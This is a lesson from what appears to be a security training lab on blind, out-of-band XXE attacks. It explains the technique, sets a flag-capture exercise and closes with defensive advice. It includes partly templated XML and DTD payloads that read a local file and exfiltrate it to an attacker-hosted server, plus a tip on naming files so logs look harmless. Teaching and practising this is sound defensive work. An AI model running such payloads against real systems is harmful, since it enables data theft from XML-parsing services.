XXE Out Of Bound

What if there is no printout at all?

In the previous module we were able to printout the contents of a file through error-based techniques. But what if the application does not return any errors or reveal anything on the client side?

In this case it is harder to detect XXE vulnerabilities even though they exist. It is still possible to retrieve for example contents of a file through an Out-Of-Band attack and that is what we are going to learn in this module.

What is "Out-of-Band" (OOB)?

So as we already know, in a regular XXE attack, the attacker gets data back in the response — that is in-band. But when responses or errors do not include any data, attackers can use OOB channels, like DNS or HTTP, to exfiltrate data. This is known as an Out-of-Band (OOB) XXE attack, where the server makes a separate request to an attacker-controlled system, unknowingly leaking information. OOB attacks are particularly useful in blind scenarios where no immediate feedback is available through the application's interface. They are also harder to detect, since the response doesn’t contain the attack’s result and the exfiltration happens through a completely different network path.

When should you use the OOB technique?

OOB techniques should be used when traditional, in-band methods fail to return results or show errors. It’s good for blind vulnerabilities where the server processes malicious input but doesn’t respond with any visible output. OOB is also useful when you are targeting systems in restricted environments that still allow outbound traffic. It could help bypass logging and output filtering by relying on connections initiated by the server to attacker controlled infrastructure.

So in short it should be used when:

• Firewalls/filters block error messages or output
• You suspect XML parsing but don’t see direct XXE responses
• The attacker doesn’t control the response
• You want to exfiltrate data stealthily

Example of the attack

The flow is almost the same as in the last module and goes like this:

• Attacker identifies an XML input point
• Attacker crafts malicious XML with external DTD reference
• Target application parses the XML with DTDs enabled
• External DTD contains payload to read local files or system data
• DTD uses an entity to trigger an OOB request
• Target server makes a network request (HTTP/DNS)
• Attacker monitors the server and captures the leaked data

Exercise

Now repeat the steps yourself by using what you have learnt so far and get the flag. It is recommended to complete the previous module first as this lab starts with the same steps and ends with a slightly different DTD.

Note the same as in previous module. All XML processors, including the XML processor of this lab, do not support HTTPS for the URL of an external entity. Therefore, use unencrypted HTTP in URLs.

Repeat the steps

We used attackers machine to host the malicious DTD file in the previous module and the same steps can be used here too. You have an Apache web server deployed and it serves files from /root/web directory.

Set a similar payload on the target application.

<!DOCTYPE order [
<!ENTITY % xxe SYSTEM "SOMETHING_HERE/malicious.dtd">
%xxe;
]>
<order>
<toppings>
<topping>Mozzarella</topping>
....

And in the /root/web/malicious.dtd.

<!ENTITY % file SYSTEM "file:///SOMETHING_HERE">
<!ENTITY % all "<!ENTITY exfil SYSTEM 'SOMETHING_HERE'>">
%all;

Pro tip: The .dtd file does not have to be named malicious.dtd. Just remember to reference to it with the correct filename in the XML payload. In a real life attack scenario, it would be harder to find something that could actually exist (like pizza_toppings.dtd) from the logs, than something that could be related to an attack (malicious.dtd).

Replace the SOMETHING_HERE parts with proper values. As a limitation the lab does not easily output file contents that have linebreaks or spaces in them (for example /etc/passwd), so focus on the secret-recipe.txt.

Your end goal is to somehow find a way to reflect the contents of the secret-recipe.txt back to you outside of the application.

How to protect from OOB attacks

To prevent XXE and OOB attacks, applications should disable support for DTDs (Document Type Definitions) in XML parsers whenever possible. This prevents the use of external entities, which are the core mechanism exploited in XXE. Developers should also use secure and well-maintained XML libraries that are hardened by default.

Additionally, server-side outbound network access should be restricted to prevent unauthorized DNS or HTTP requests to attacker-controlled systems.